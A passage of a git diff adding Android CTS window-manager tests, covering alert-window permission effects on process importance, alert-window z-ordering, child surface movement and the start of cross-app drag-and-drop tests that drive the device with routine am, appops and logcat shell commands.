+        assertPackageImportance(IMPORTANCE_VISIBLE, IMPORTANCE_VISIBLE);
+
+        addAlertWindow();
+        assertPackageImportance(IMPORTANCE_VISIBLE, IMPORTANCE_VISIBLE);
+
+        setAlertWindowPermission(false /* allow */);
+        // Process importance should no longer be visible since its alert windows are not allowed to
+        // be visible.
+        assertPackageImportance(IMPORTANCE_PERCEPTIBLE, IMPORTANCE_PERCEPTIBLE_PRE_26);
+
+        setAlertWindowPermission(true /* allow */);
+        // They can show again so importance should be visible again.
+        assertPackageImportance(IMPORTANCE_VISIBLE, IMPORTANCE_VISIBLE);
+
+        removeAlertWindow();
+        assertPackageImportance(IMPORTANCE_VISIBLE, IMPORTANCE_VISIBLE);
+
+        removeAlertWindow();
+        // Process importance should no longer be visible when the service no longer as alert
+        // windows.
+        assertPackageImportance(IMPORTANCE_PERCEPTIBLE, IMPORTANCE_PERCEPTIBLE_PRE_26);
+    }
+
+    private void addAlertWindow() throws Exception {
+        mService.send(Message.obtain(null, AlertWindowService.MSG_ADD_ALERT_WINDOW));
+        synchronized (mAddedLock) {
+            // Wait for window addition confirmation before proceeding.
+            mAddedLock.wait(WAIT_TIME_MS);
+        }
+    }
+
+    private void removeAlertWindow() throws Exception {
+        mService.send(Message.obtain(null, AlertWindowService.MSG_REMOVE_ALERT_WINDOW));
+        synchronized (mRemoveLock) {
+            // Wait for window removal confirmation before proceeding.
+            mRemoveLock.wait(WAIT_TIME_MS);
+        }
+    }
+
+    private void setAlertWindowPermission(boolean allow) throws Exception {
+        final String cmd = "appops set " + mServicePackageName
+                + " android:system_alert_window " + (allow ? "allow" : "deny");
+        SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), cmd);
+    }
+
+    private void assertImportance(ToIntFunction<ActivityManager> apiCaller,
+            int expectedForO, int expectedForPreO) throws Exception {
+        final long TIMEOUT = SystemClock.uptimeMillis() + TimeUnit.SECONDS.toMillis(30);
+        int actual;
+
+        do {
+            // TODO: We should try to use ActivityManagerTest.UidImportanceListener here to listen
+            // for changes in the uid importance. However, the way it is currently structured
+            // doesn't really work for this use case right now...
+            Thread.sleep(500);
+            actual = apiCaller.applyAsInt(mAm);
+        } while (actual != expectedForO && (SystemClock.uptimeMillis() < TIMEOUT));
+
+        assertEquals(expectedForO, actual);
+
+        // Check the result for pre-O apps.
+        assertEquals(expectedForPreO, apiCaller.applyAsInt(mAm25));
+    }
+
+    /**
+     * Make sure {@link ActivityManager#getPackageImportance} returns the expected value.
+     */
+    private void assertPackageImportance(int expectedForO, int expectedForPreO) throws Exception {
+        assertImportance(am -> am.getPackageImportance(mServicePackageName),
+                expectedForO, expectedForPreO);
+    }
+
+    private final ServiceConnection mConnection = new ServiceConnection() {
+        @Override
+        public void onServiceConnected(ComponentName name, IBinder service) {
+            if (DEBUG) Log.e(TAG, "onServiceConnected");
+            mService = new Messenger(service);
+            mServicePackageName = name.getPackageName();
+            synchronized (mConnection) {
+                notifyAll();
+            }
+        }
+
+        @Override
+        public void onServiceDisconnected(ComponentName name) {
+            if (DEBUG) Log.e(TAG, "onServiceDisconnected");
+            mService = null;
+            mServicePackageName = null;
+        }
+    };
+
+    private class IncomingHandler extends Handler {
+
+        IncomingHandler(Looper looper) {
+            super(looper);
+        }
+
+        @Override
+        public void handleMessage(Message msg) {
+            switch (msg.what) {
+                case AlertWindowService.MSG_ON_ALERT_WINDOW_ADDED:
+                    synchronized (mAddedLock) {
+                        if (DEBUG) Log.e(TAG, "MSG_ON_ALERT_WINDOW_ADDED");
+                        mAddedLock.notifyAll();
+                    }
+                    break;
+                case AlertWindowService.MSG_ON_ALERT_WINDOW_REMOVED:
+                    synchronized (mRemoveLock) {
+                        if (DEBUG) Log.e(TAG, "MSG_ON_ALERT_WINDOW_REMOVED");
+                        mRemoveLock.notifyAll();
+                    }
+                    break;
+                default:
+                    super.handleMessage(msg);
+            }
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsTests.java
new file mode 100644
index 0000000..c9d1025
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsTests.java
@@ -0,0 +1,176 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.Presubmit;
+import android.server.am.ActivityManagerTestBase;
+import android.server.am.WaitForValidActivityState;
+import android.server.am.WindowManagerState;
+
+import org.junit.After;
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Build: mmma -j32 cts/tests/framework/base
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsWindowManagerDeviceTestCases android.server.wm.AlertWindowsTests
+ */
+@Presubmit
+public class AlertWindowsTests extends ActivityManagerTestBase {
+
+    private static final String PACKAGE_NAME = "android.server.wm.alertwindowapp";
+    private static final String ACTIVITY_NAME = "AlertWindowTestActivity";
+    private static final String SDK_25_PACKAGE_NAME = "android.server.wm.alertwindowappsdk25";
+    private static final String SDK_25_ACTIVITY_NAME = "AlertWindowTestActivitySdk25";
+
+    // From WindowManager.java
+    private static final int TYPE_BASE_APPLICATION      = 1;
+    private static final int FIRST_SYSTEM_WINDOW        = 2000;
+
+    private static final int TYPE_PHONE                 = FIRST_SYSTEM_WINDOW + 2;
+    private static final int TYPE_SYSTEM_ALERT          = FIRST_SYSTEM_WINDOW + 3;
+    private static final int TYPE_SYSTEM_OVERLAY        = FIRST_SYSTEM_WINDOW + 6;
+    private static final int TYPE_PRIORITY_PHONE        = FIRST_SYSTEM_WINDOW + 7;
+    private static final int TYPE_SYSTEM_ERROR          = FIRST_SYSTEM_WINDOW + 10;
+    private static final int TYPE_APPLICATION_OVERLAY   = FIRST_SYSTEM_WINDOW + 38;
+
+    private static final int TYPE_STATUS_BAR            = FIRST_SYSTEM_WINDOW;
+    private static final int TYPE_INPUT_METHOD          = FIRST_SYSTEM_WINDOW + 11;
+    private static final int TYPE_NAVIGATION_BAR        = FIRST_SYSTEM_WINDOW + 19;
+
+    private final List<Integer> mAlertWindowTypes = Arrays.asList(
+            TYPE_PHONE,
+            TYPE_PRIORITY_PHONE,
+            TYPE_SYSTEM_ALERT,
+            TYPE_SYSTEM_ERROR,
+            TYPE_SYSTEM_OVERLAY,
+            TYPE_APPLICATION_OVERLAY);
+    private final List<Integer> mSystemWindowTypes = Arrays.asList(
+            TYPE_STATUS_BAR,
+            TYPE_INPUT_METHOD,
+            TYPE_NAVIGATION_BAR);
+
+    @After
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+        setAlertWindowPermission(PACKAGE_NAME, false);
+        setAlertWindowPermission(SDK_25_PACKAGE_NAME, false);
+        executeShellCommand("am force-stop " + PACKAGE_NAME);
+        executeShellCommand("am force-stop " + SDK_25_PACKAGE_NAME);
+    }
+
+    @Test
+    public void testAlertWindowAllowed() throws Exception {
+        runAlertWindowTest(PACKAGE_NAME, ACTIVITY_NAME, true /* hasAlertWindowPermission */,
+                true /* atLeastO */);
+    }
+
+    @Test
+    public void testAlertWindowDisallowed() throws Exception {
+        runAlertWindowTest(PACKAGE_NAME, ACTIVITY_NAME, false /* hasAlertWindowPermission */,
+                true /* atLeastO */);
+    }
+
+    @Test
+    public void testAlertWindowAllowedSdk25() throws Exception {
+        runAlertWindowTest(SDK_25_PACKAGE_NAME, SDK_25_ACTIVITY_NAME,
+                true /* hasAlertWindowPermission */, false /* atLeastO */);
+    }
+
+    @Test
+    public void testAlertWindowDisallowedSdk25() throws Exception {
+        runAlertWindowTest(SDK_25_PACKAGE_NAME, SDK_25_ACTIVITY_NAME,
+                false /* hasAlertWindowPermission */, false /* atLeastO */);
+    }
+
+    private void runAlertWindowTest(String packageName, String activityName,
+            boolean hasAlertWindowPermission, boolean atLeastO) throws Exception {
+        setComponentName(packageName);
+        setAlertWindowPermission(packageName, hasAlertWindowPermission);
+
+        executeShellCommand(getAmStartCmd(activityName));
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(activityName).build());
+        mAmWmState.assertVisibility(activityName, true);
+
+        assertAlertWindows(packageName, hasAlertWindowPermission, atLeastO);
+    }
+
+    private void assertAlertWindows(String packageName, boolean hasAlertWindowPermission,
+            boolean atLeastO) {
+        final WindowManagerState wMState = mAmWmState.getWmState();
+
+        final ArrayList<WindowManagerState.WindowState> alertWindows = new ArrayList();
+        wMState.getWindowsByPackageName(packageName, mAlertWindowTypes, alertWindows);
+
+        if (!hasAlertWindowPermission) {
+            assertTrue("Should be empty alertWindows=" + alertWindows, alertWindows.isEmpty());
+            return;
+        }
+
+        if (atLeastO) {
+            // Assert that only TYPE_APPLICATION_OVERLAY was created.
+            for (WindowManagerState.WindowState win : alertWindows) {
+                assertTrue("Can't create win=" + win + " on SDK O or greater",
+                        win.getType() == TYPE_APPLICATION_OVERLAY);
+            }
+        }
+
+        final WindowManagerState.WindowState mainAppWindow =
+                wMState.getWindowByPackageName(packageName, TYPE_BASE_APPLICATION);
+
+        assertNotNull(mainAppWindow);
+
+        final WindowManagerState.WindowState lowestAlertWindow = alertWindows.get(0);
+        final WindowManagerState.WindowState highestAlertWindow =
+                alertWindows.get(alertWindows.size() - 1);
+
+        // Assert that the alert windows have higher z-order than the main app window
+        assertTrue("lowestAlertWindow=" + lowestAlertWindow + " less than mainAppWindow="
+                + mainAppWindow, lowestAlertWindow.getZOrder() > mainAppWindow.getZOrder());
+
+        // Assert that legacy alert windows have a lower z-order than the new alert window layer.
+        final WindowManagerState.WindowState appOverlayWindow =
+                wMState.getWindowByPackageName(packageName, TYPE_APPLICATION_OVERLAY);
+        if (appOverlayWindow != null && highestAlertWindow != appOverlayWindow) {
+            assertTrue("highestAlertWindow=" + highestAlertWindow
+                            + " greater than appOverlayWindow=" + appOverlayWindow,
+                    highestAlertWindow.getZOrder() < appOverlayWindow.getZOrder());
+        }
+
+        // Assert that alert windows are below key system windows.
+        final ArrayList<WindowManagerState.WindowState> systemWindows = new ArrayList();
+        wMState.getWindowsByPackageName(packageName, mSystemWindowTypes, systemWindows);
+        if (!systemWindows.isEmpty()) {
+            final WindowManagerState.WindowState lowestSystemWindow = alertWindows.get(0);
+            assertTrue("highestAlertWindow=" + highestAlertWindow
+                            + " greater than lowestSystemWindow=" + lowestSystemWindow,
+                    highestAlertWindow.getZOrder() < lowestSystemWindow.getZOrder());
+        }
+    }
+
+    private void setAlertWindowPermission(String packageName, boolean allow) {
+        executeShellCommand("appops set " + packageName + " android:system_alert_window "
+                + (allow ? "allow" : "deny"));
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ChildMovementTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ChildMovementTests.java
new file mode 100644
index 0000000..6ac5035
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ChildMovementTests.java
@@ -0,0 +1,154 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.server.am.StateLogger.logE;
+
+import static org.junit.Assert.assertTrue;
+
+import android.server.am.SurfaceTraceReceiver;
+import android.server.am.WaitForValidActivityState;
+import android.server.am.WindowManagerState.WindowState;
+
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ChildMovementTests extends ParentChildTestBase {
+
+    private List<WindowState> mWindowList = new ArrayList();
+
+    @Override
+    String intentKey() {
+        return "android.server.FrameTestApp.ChildTestCase";
+    }
+
+    @Override
+    String activityName() {
+        return "MovingChildTestActivity";
+    }
+
+    WindowState getSingleWindow(String fullWindowName) {
+        try {
+            mAmWmState.getWmState().getMatchingVisibleWindowState(fullWindowName, mWindowList);
+            return mWindowList.get(0);
+        } catch (Exception e) {
+            logE("Couldn't find window: " + fullWindowName);
+            return null;
+        }
+    }
+
+    WindowState getSingleWindowByPrefix(String prefix) {
+        try {
+            mAmWmState.getWmState().getPrefixMatchingVisibleWindowState(prefix, mWindowList);
+            return mWindowList.get(0);
+        } catch (Exception e) {
+            logE("Couldn't find window: " + prefix);
+            return null;
+        }
+    }
+
+    void doSingleTest(ParentChildTest t) throws Exception {
+        String popupName = "ChildWindow";
+        final WaitForValidActivityState waitForVisible =
+                new WaitForValidActivityState.Builder(popupName).build();
+
+        mAmWmState.setUseActivityNamesForWindowNames(false);
+        mAmWmState.computeState(waitForVisible);
+        WindowState popup = getSingleWindowByPrefix(popupName);
+        WindowState parent = getSingleWindow(getBaseWindowName() + activityName());
+
+        t.doTest(parent, popup);
+    }
+
+
+    Object monitor = new Object();
+    boolean testPassed = false;
+    String popupName = null;
+    String mainName = null;
+
+    SurfaceTraceReceiver.SurfaceObserver observer = new SurfaceTraceReceiver.SurfaceObserver() {
+        int transactionCount = 0;
+        boolean sawChildMove = false;
+        boolean sawMainMove = false;
+        int timesSeen = 0;
+
+        @Override
+        public void openTransaction() {
+            transactionCount++;
+            if (transactionCount == 1) {
+                sawChildMove = false;
+                sawMainMove = false;
+            }
+        }
+
+        @Override
+        public void closeTransaction() {
+            transactionCount--;
+            if (transactionCount != 0) {
+                return;
+            }
+            synchronized (monitor) {
+                if (sawChildMove ^ sawMainMove) {
+                    monitor.notifyAll();
+                    return;
+                }
+                if (timesSeen > 10) {
+                    testPassed = true;
+                    monitor.notifyAll();
+                }
+            }
+        }
+
+        @Override
+        public void setPosition(String windowName, float x, float y) {
+            if (windowName.equals(popupName)) {
+                sawChildMove = true;
+                timesSeen++;
+            } else if (windowName.equals(mainName)) {
+                sawMainMove = true;
+            }
+        }
+    };
+
+    /**
+     * Here we test that a Child moves in the same transaction
+     * as its parent. We launch an activity with a Child which will
+     * move around its own main window. Then we listen to WindowManager transactions.
+     * Since the Child is static within the window, if we ever see one of
+     * them move xor the other one we have a problem!
+     */
+    @Test
+    public void testSurfaceMovesWithParent() throws Exception {
+        doFullscreenTest("MovesWithParent",
+                (WindowState parent, WindowState popup) -> {
+                    popupName = popup.getName();
+                    mainName = parent.getName();
+                    installSurfaceObserver(observer);
+                    try {
+                        synchronized (monitor) {
+                            monitor.wait(5000);
+                        }
+                    } catch (InterruptedException e) {
+                    } finally {
+                        assertTrue(testPassed);
+                        removeSurfaceObserver();
+                    }
+                });
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
new file mode 100644
index 0000000..a212aea
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
@@ -0,0 +1,549 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.content.pm.PackageManager.FEATURE_FREEFORM_WINDOW_MANAGEMENT;
+import static android.server.am.ActivityManagerTestBase.executeShellCommand;
+import static android.server.am.StateLogger.log;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.ActivityManager;
+import android.content.Context;
+import android.graphics.Point;
+import android.os.RemoteException;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.uiautomator.UiDevice;
+import android.util.Log;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.Map;
+import java.util.regex.Pattern;
+
+/**
+ * Build: mmma -j32 cts/tests/framework/base
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsWindowManagerDeviceTestCases android.server.wm.CrossAppDragAndDropTests
+ */
+//@Presubmit b/68038788
+public class CrossAppDragAndDropTests {
+    private static final String TAG = "CrossAppDragAndDrop";
+
+    private static final String AM_FORCE_STOP = "am force-stop ";
+    private static final String AM_MOVE_TASK = "am stack move-task ";
+    private static final String AM_RESIZE_TASK = "am task resize ";
+    private static final String AM_REMOVE_STACK = "am stack remove ";
+    private static final String AM_START_N = "am start -n ";
+    private static final String AM_STACK_LIST = "am stack list";
+    private static final String TASK_ID_PREFIX = "taskId";
+
+    // Regex pattern to match adb shell am stack list output of the form:
+    // taskId=<TASK_ID>: <componentName> bounds=[LEFT,TOP][RIGHT,BOTTOM]
+    private static final String TASK_REGEX_PATTERN_STRING =
+            "taskId=[0-9]+: %s bounds=\\[[0-9]+,[0-9]+\\]\\[[0-9]+,[0-9]+\\]";
+
+    private static final int SWIPE_STEPS = 100;
+
+    private static final String SOURCE_PACKAGE_NAME = "android.server.wm.dndsourceapp";
+    private static final String TARGET_PACKAGE_NAME = "android.server.wm.dndtargetapp";
+    private static final String TARGET_23_PACKAGE_NAME = "android.server.wm.dndtargetappsdk23";
+
+
+    private static final String SOURCE_ACTIVITY_NAME = "DragSource";
+    private static final String TARGET_ACTIVITY_NAME = "DropTarget";
+
+    private static final String FILE_GLOBAL = "file_global";
+    private static final String FILE_LOCAL = "file_local";
+    private static final String DISALLOW_GLOBAL = "disallow_global";
+    private static final String CANCEL_SOON = "cancel_soon";
+    private static final String GRANT_NONE = "grant_none";
+    private static final String GRANT_READ = "grant_read";
+    private static final String GRANT_WRITE = "grant_write";
+    private static final String GRANT_READ_PREFIX = "grant_read_prefix";
+    private static final String GRANT_READ_NOPREFIX = "grant_read_noprefix";
+    private static final String GRANT_READ_PERSISTABLE = "grant_read_persistable";
+
+    private static final String REQUEST_NONE = "request_none";
+    private static final String REQUEST_READ = "request_read";
+    private static final String REQUEST_READ_NESTED = "request_read_nested";
+    private static final String REQUEST_TAKE_PERSISTABLE = "request_take_persistable";
+    private static final String REQUEST_WRITE = "request_write";
+
+    private static final String SOURCE_LOG_TAG = "DragSource";
+    private static final String TARGET_LOG_TAG = "DropTarget";
+
+    private static final String RESULT_KEY_START_DRAG = "START_DRAG";
+    private static final String RESULT_KEY_DRAG_STARTED = "DRAG_STARTED";
+    private static final String RESULT_KEY_DRAG_ENDED = "DRAG_ENDED";
+    private static final String RESULT_KEY_EXTRAS = "EXTRAS";
+    private static final String RESULT_KEY_DROP_RESULT = "DROP";
+    private static final String RESULT_KEY_ACCESS_BEFORE = "BEFORE";
+    private static final String RESULT_KEY_ACCESS_AFTER = "AFTER";
+    private static final String RESULT_KEY_CLIP_DATA_ERROR = "CLIP_DATA_ERROR";
+    private static final String RESULT_KEY_CLIP_DESCR_ERROR = "CLIP_DESCR_ERROR";
+    private static final String RESULT_KEY_LOCAL_STATE_ERROR = "LOCAL_STATE_ERROR";
+
+    private static final String RESULT_MISSING = "Missing";
+    private static final String RESULT_OK = "OK";
+    private static final String RESULT_EXCEPTION = "Exception";
+    private static final String RESULT_NULL_DROP_PERMISSIONS = "Null DragAndDropPermissions";
+
+    private static final String AM_SUPPORTS_SPLIT_SCREEN_MULTIWINDOW =
+            "am supports-split-screen-multi-window";
+
+    protected Context mContext;
+    protected ActivityManager mAm;
+    private UiDevice mDevice;
+
+    private Map<String, String> mSourceResults;
+    private Map<String, String> mTargetResults;
+
+    private String mSourcePackageName;
+    private String mTargetPackageName;
+
+    private String mSessionId;
+    private String mSourceLogTag;
+    private String mTargetLogTag;
+
+    @Before
+    public void setUp() throws Exception {
+        // Use uptime in seconds as unique test invocation id.
+        mSessionId = Long.toString(SystemClock.uptimeMillis() / 1000);
+        mSourceLogTag = SOURCE_LOG_TAG + mSessionId;
+        mTargetLogTag = TARGET_LOG_TAG + mSessionId;
+
+        mContext = InstrumentationRegistry.getContext();
+        mAm = mContext.getSystemService(ActivityManager.class);
+        mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        if (!supportsDragAndDrop()) {
+            return;
+        }
+
+        mSourcePackageName = SOURCE_PACKAGE_NAME;
+        mTargetPackageName = TARGET_PACKAGE_NAME;
+        cleanupState();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        if (!supportsDragAndDrop()) {
+            return;
+        }
+
+        executeShellCommand(AM_FORCE_STOP + mSourcePackageName);
+        executeShellCommand(AM_FORCE_STOP + mTargetPackageName);
+    }
+
+    private void clearLogs() {
+        executeShellCommand("logcat -c");
+    }
+
+    private String getStartCommand(String componentName, String modeExtra, String logtag) {
+        return AM_START_N + componentName + " -e mode " + modeExtra + " -e logtag " + logtag;
+    }
+
+    private String getMoveTaskCommand(int taskId, int stackId) {
+        return AM_MOVE_TASK + taskId + " " + stackId + " true";
+    }
+
+    private String getResizeTaskCommand(int taskId, Point topLeft, Point bottomRight)
+            throws Exception {
+        return AM_RESIZE_TASK + taskId + " " + topLeft.x + " " + topLeft.y + " " + bottomRight.x
+                + " " + bottomRight.y;
+    }
+
+    private String getComponentName(String packageName, String activityName) {
+        return packageName + "/" + packageName + "." + activityName;
+    }
+
+    /**
+     * Make sure that the special activity stacks are removed and the ActivityManager/WindowManager
+     * is in a good state.
+     */
+    private void cleanupState() throws Exception {
+        executeShellCommand(AM_FORCE_STOP + SOURCE_PACKAGE_NAME);
+        executeShellCommand(AM_FORCE_STOP + TARGET_PACKAGE_NAME);
+        executeShellCommand(AM_FORCE_STOP + TARGET_23_PACKAGE_NAME);
+        unlockDevice();
+        clearLogs();
+
+        // Remove special stacks.
+        mAm.removeStacksInWindowingModes(new int[] {
+                WINDOWING_MODE_PINNED,
+                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY,
+                WINDOWING_MODE_FREEFORM
+        });
+    }
+
+    private void launchDockedActivity(String packageName, String activityName, String mode,
+            String logtag) throws Exception {
+        clearLogs();
+        final String componentName = getComponentName(packageName, activityName);
+        executeShellCommand(getStartCommand(componentName, mode, logtag) + " --windowingMode "
+                + WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+        waitForResume(packageName, activityName);
+    }
+
+    private void launchFullscreenActivity(String packageName, String activityName, String mode,
+            String logtag) throws Exception {
+        clearLogs();
+        final String componentName = getComponentName(packageName, activityName);
+        executeShellCommand(getStartCommand(componentName, mode, logtag) + " --windowingMode "
+                + WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
+        waitForResume(packageName, activityName);
+    }
+
+    /**
+     * @param displaySize size of the display
+     * @param leftSide {@code true} to launch the app taking up the left half of the display,
+     *         {@code false} to launch the app taking up the right half of the display.
+     */
+    private void launchFreeformActivity(String packageName, String activityName, String mode,
+            String logtag, Point displaySize, boolean leftSide) throws Exception {
+        clearLogs();
+        final String componentName = getComponentName(packageName, activityName);
+        executeShellCommand(getStartCommand(componentName, mode, logtag) + " --windowingMode "
+                + WINDOWING_MODE_FREEFORM);
+        waitForResume(packageName, activityName);
+        Point topLeft = new Point(leftSide ? 0 : displaySize.x / 2, 0);
+        Point bottomRight = new Point(leftSide ? displaySize.x / 2 : displaySize.x, displaySize.y);
+        executeShellCommand(getResizeTaskCommand(getActivityTaskId(componentName), topLeft,
+                bottomRight));
+    }
+
+    private void waitForResume(String packageName, String activityName) throws Exception {
+        final String fullActivityName = packageName + "." + activityName;
+        int retryCount = 3;
+        do {
+            Thread.sleep(500);
+            String logs = executeShellCommand("logcat -d -b events");
+            for (String line : logs.split("\\n")) {
+                if (line.contains("am_on_resume_called") && line.contains(fullActivityName)) {
+                    return;
+                }
+            }
+        } while (retryCount-- > 0);
+
+        throw new Exception(fullActivityName + " has failed to start");
+    }
+
+    private void injectInput(Point from, Point to, int steps) throws Exception {
+        mDevice.drag(from.x, from.y, to.x, to.y, steps);
+    }
+
+    private String findTaskInfo(String name) {
+        final String output = executeShellCommand(AM_STACK_LIST);
+        final StringBuilder builder = new StringBuilder();
+        builder.append("Finding task info for task: ");
+        builder.append(name);
+        builder.append("\nParsing adb shell am output: ");
+        builder.append(output);
+        log(builder.toString());
+        final Pattern pattern = Pattern.compile(String.format(TASK_REGEX_PATTERN_STRING, name));
+        for (String line : output.split("\\n")) {
+            final String truncatedLine;
+            // Only look for the activity name before the "topActivity" string.
+            final int pos = line.indexOf("topActivity");
+            if (pos > 0) {
+                truncatedLine = line.substring(0, pos);
+            } else {
+                truncatedLine = line;
+            }
+            if (pattern.matcher(truncatedLine).find()) {
+                return truncatedLine;
+            }
+        }
+        return "";
+    }
+
+    private boolean getWindowBounds(String name, Point from, Point to) throws Exception {
+        final String taskInfo = findTaskInfo(name);
+        final String[] sections = taskInfo.split("\\[");
+        if (sections.length > 2) {
+            try {
+                parsePoint(sections[1], from);
+                parsePoint(sections[2], to);
+                return true;
+            } catch (Exception e) {
+                return false;
+            }
+        }
+        return false;
+    }
+
+    private int getActivityTaskId(String name) {
+        final String taskInfo = findTaskInfo(name);
+        for (String word : taskInfo.split("\\s+")) {
+            if (word.startsWith(TASK_ID_PREFIX)) {
+                final String withColon = word.split("=")[1];
+                return Integer.parseInt(withColon.substring(0, withColon.length() - 1));
+            }
+        }
+        return -1;
+    }
+
+    private Point getDisplaySize() throws Exception {
+        final String output = executeShellCommand("wm size");
+        final String[] sizes = output.split(" ")[2].split("x");
+        return new Point(Integer.valueOf(sizes[0].trim()), Integer.valueOf(sizes[1].trim()));
+    }
+
+    private Point getWindowCenter(String name) throws Exception {
+        Point p1 = new Point();
+        Point p2 = new Point();
+        if (getWindowBounds(name, p1, p2)) {
+            return new Point((p1.x + p2.x) / 2, (p1.y + p2.y) / 2);
+        }
+        return null;
+    }
+
+    private void parsePoint(String string, Point point) {
+        final String[] parts = string.split("[,|\\]]");
+        point.x = Integer.parseInt(parts[0]);
+        point.y = Integer.parseInt(parts[1]);
+    }
+
+    private void unlockDevice() {
+        // Wake up the device, if necessary.
+        try {
+            mDevice.wakeUp();
+        } catch (RemoteException e) {
+            throw new RuntimeException(e);
+        }
+        // Unlock the screen.
+        mDevice.pressMenu();
+    }
+
+    private void assertDropResult(String sourceMode, String targetMode, String expectedDropResult)
+            throws Exception {
+        assertDragAndDropResults(sourceMode, targetMode, RESULT_OK, expectedDropResult, RESULT_OK);
+    }
+
+    private void assertNoGlobalDragEvents(String sourceMode, String expectedStartDragResult)
+            throws Exception {
+        assertDragAndDropResults(
+                sourceMode, REQUEST_NONE, expectedStartDragResult, RESULT_MISSING, RESULT_MISSING);
+    }
+
+    private void assertDragAndDropResults(String sourceMode, String targetMode,
+            String expectedStartDragResult, String expectedDropResult,
+            String expectedListenerResults) throws Exception {
+        if (!supportsDragAndDrop()) {
+            return;
+        }
+
+        Log.e(TAG, "session: " + mSessionId + ", source: " + sourceMode
+                + ", target: " + targetMode);
+
+        if (supportsSplitScreenMultiWindow()) {
+            launchDockedActivity(
+                    mSourcePackageName, SOURCE_ACTIVITY_NAME, sourceMode, mSourceLogTag);
+            launchFullscreenActivity(
+                    mTargetPackageName, TARGET_ACTIVITY_NAME, targetMode, mTargetLogTag);
+        } else if (supportsFreeformMultiWindow()) {
+            // Fallback to try to launch two freeform windows side by side.
+            Point displaySize = getDisplaySize();
+            launchFreeformActivity(
+                    mSourcePackageName, SOURCE_ACTIVITY_NAME, sourceMode, mSourceLogTag,
+                    displaySize, true /* leftSide */);
+            launchFreeformActivity(
+                    mTargetPackageName, TARGET_ACTIVITY_NAME, targetMode, mTargetLogTag,
+                    displaySize, false /* leftSide */);
+        } else {
+            return;
+        }
+
+        Point p1 = getWindowCenter(getComponentName(mSourcePackageName, SOURCE_ACTIVITY_NAME));
+        assertNotNull(p1);
+        Point p2 = getWindowCenter(getComponentName(mTargetPackageName, TARGET_ACTIVITY_NAME));
+        assertNotNull(p2);
+
+        TestLogService.registerClient(mSourceLogTag, RESULT_KEY_START_DRAG);
+        TestLogService.registerClient(mTargetLogTag, RESULT_KEY_DRAG_ENDED);
+
+        injectInput(p1, p2, SWIPE_STEPS);
+
+        mSourceResults = TestLogService.getResultsForClient(mSourceLogTag, 1000);
+        assertSourceResult(RESULT_KEY_START_DRAG, expectedStartDragResult);
+
+        mTargetResults = TestLogService.getResultsForClient(mTargetLogTag, 1000);
+        assertTargetResult(RESULT_KEY_DROP_RESULT, expectedDropResult);
+        if (!RESULT_MISSING.equals(expectedDropResult)) {
+            assertTargetResult(RESULT_KEY_ACCESS_BEFORE, RESULT_EXCEPTION);
